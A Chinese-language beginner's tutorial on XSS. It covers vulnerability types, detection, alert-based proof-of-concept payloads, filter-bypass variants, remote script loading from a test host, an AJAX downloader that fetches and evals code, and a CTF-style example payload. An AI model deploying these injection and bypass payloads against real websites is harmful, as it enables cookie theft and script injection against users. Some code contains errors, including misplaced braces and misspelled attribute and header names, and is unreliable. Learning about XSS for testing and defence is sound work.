XSS跨站脚本漏洞 初学

    科技2022-08-18  98

    0x00 概述

    XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。 XSS属于客户端攻击,但网站管理人员也属于用户之一,这就说明XSS可以攻击“服务器端”

    0x01 XSS原理解析

    XSS攻击是在网页中嵌入客户端恶意脚本代码,这些恶意代码一般使用JavaScript语言编写,因此JavaScript能力越强,XSS的威力越大。攻击者所需要的就是向Web页面中注入JavaScript代码

    0x02 XSS类型

    XSS主要分为三类:反射型、存储型和DOM型

    反射型XSS

    也叫作非持久性XSS,当用户访问一次带有XSS代码的URL请求时,浏览器解析这段代码,造成XSS漏洞。可以用于获取Cookie等

    存储型XSS

    又称为持久性XSS,允许用户存储数据的Web应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS攻击

    DOM XSS

    DOM

    DOM(Document Object Model),即文档对象模型,通常在HTML、XHTML、XML,使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式 DOM为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构。 DOM的规定:

    整个文档是一个文档节点每个HTML标签是一个元素节点包含在HTML元素中的文本是文本节点每一个HTML属性是一个属性节点节点与节点之间都有等级关系
    DOM XSS

    基于DOM型的XSS是不需要与服务器端交互的,它只发生在客户端处理数据阶段

    【目前还没有理解DOM型XSS与反射型的差别】

    0x03 检测XSS

    手工检测

    在手工检测时,一定要选测有特殊意义的字符,这样可以快速测试是否存在XSS,而不要直接输入XSS跨站语句测试,应该一步一步地进行。

    可得知输出位置

    输入一些敏感字符比如“<、>、()”等,提交申请后查看HTML源代码,看看是否被转义,为了方便查找这些字符可以用“AAAAA<>”字符串,便于查找

    无法得知输出位置

    有很多Web应用程序源代码是不对外公开的,这时在测试XSS时就有可能无法看到输出数据,对于这种情况,通常采取“/>XSS Test”闭合标签来测试

    自动检测

    APPSCAN、WEVS、Burp Suite等都可以检测XSS漏洞 XSSER、XSSF都是专业XSS扫描工具

    XSS漏洞的验证

    利用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC POC 漏洞的验证与检测 EXP 漏洞的完整利用工具 shellcode 利用漏洞时,所执行的代码 payload 攻击载荷 sqlmap 攻击代码的模版

    <script> alert(/xss/)</script>//弹窗,最常用的 <script> confirm('xss')</script> <script>prompt('xss')</script>

    XSS的构造

    利用[<>]构造HTML/JS 可以利用[<>]构造HTML标签和 <script> alert(/xss/)</script> 伪协议 也可以使用javascript:伪协议的方式构造XSS 提交参数<a herf = "javascript: alert(/xss/)">touch me!</a>产生自己的时间 “事件驱动”是一种比较经典的编程思想。我们可以通过事件触发JS函数,触发XSS。 事件种类内容Windows事件对windows对象触发的事件Form事件HTML表单内的动作触发事件Keyboard事件键盘按键Mouse事件由鼠标或类似用户动作触发的事件Media事件由多媒体触发的事件

    例如,<img src='./smile.jpg' onmouseover = 'alert(/xss/)'> 会引入一个图片,当鼠标在图片上悬停的时候会触发JS代码

    XSS的变形

    大小写转换 <Img sRc = '#' Onerror = "alert(/xss/)" /> 引号的使用’ HTML语言中对引号的使用不敏感,但是某些过滤函数对引号的使用锱铢必较 <img src = "#" onerror = "alert(/xss/)"/> <img src = '#' onerror = "alert(/xss/)"/> <img src = # onerror = "alert(/xss/)"/> 利用[/]代替空格 <img src = "#"/onerror = "alert(/xss/)"/> 回车 我们可以在一些位置添加Tab和回车符,来绕过关键字检测 <a Herf = "j a v a s c Ript : alert(/xss/)">click me!</a> 对标签属性值进行转码 可以对标签属性值进行转码,来绕过过滤。对应编码如下: 字母ASCII码十进制编码十六进制编码a97a=e101ee <A hERf = "javascript:alert(/xss/)">click me!</a> 拆分跨站 <script>z='alert'</script> <script>z=z+'(/xss/)' </script> <script>eval(z)</script> 双写绕过 <scr<script>ipt>//一次过滤

    Shellcode的调用

    shellcode 就是在利用漏洞所执行的代码 完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用shellcode

    远程调用JS

    可以将js代码单独放在一个js文件中,然后通过http协议远程加载该脚本

    <script src="http://172.16.132.138/XSS-TEST /normal/xss.js"></script> // xss.js内容 alert('xss.js')

    Windows.location.hash

    我们也可以使用js中的windows.location.hash方法获取浏览器URL地址栏的XSS代码,windos.location.hash会获取URL中#后的内容 我们可以构造如下代码?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)直接提交到测试页面

    XSS Downloader

    XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页的XSS代码

    <script> function XSS(){ if(window.XMLHttpRequest){ a = new XMLHttpRequest(); }else if(window.ActiveXObject){ a = new ActiveXObject("Microsoft.XMLHTTP"); }else {return;} a.open('get','http://127.0.0.1/PHPTutorial/WWW/xss_downloader.php',false); }; a.send(); b = a.responseText; eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));} XSS(); </script>

    将上述代码放入可写入xss位置,但由于AJAX技术限制只能在本域访问

    <?php header('Access-Control-Allow_Origin:*'); header('Access-Control-Allow_Header:Origin,X-Request-With,COntent-Type,Accept'); ?>

    上述代码可补充AJAX的跨域访问,使得在其他域名下也可访问xss_downloader.php文件

    备选存储技术

    我们可以吧Shellcode存储在客户端的本地域中,比如HTTP Cookie、FLash共享对象、UserDate、localStorage等。

    手段

    <script "'Oonn>//可以查询过滤了哪些字符

    例题

    http://test.ctf8.com/ 首先利用上述查看代码,发现在最后出现了一个双引号和尖括号闭合,说明我们要写的payload可以使用双引号和尖括号来闭合源代码以逃逸 payload: "><img src="#" Onerror="alert(/xss/)"

    Processed: 0.009, SQL: 10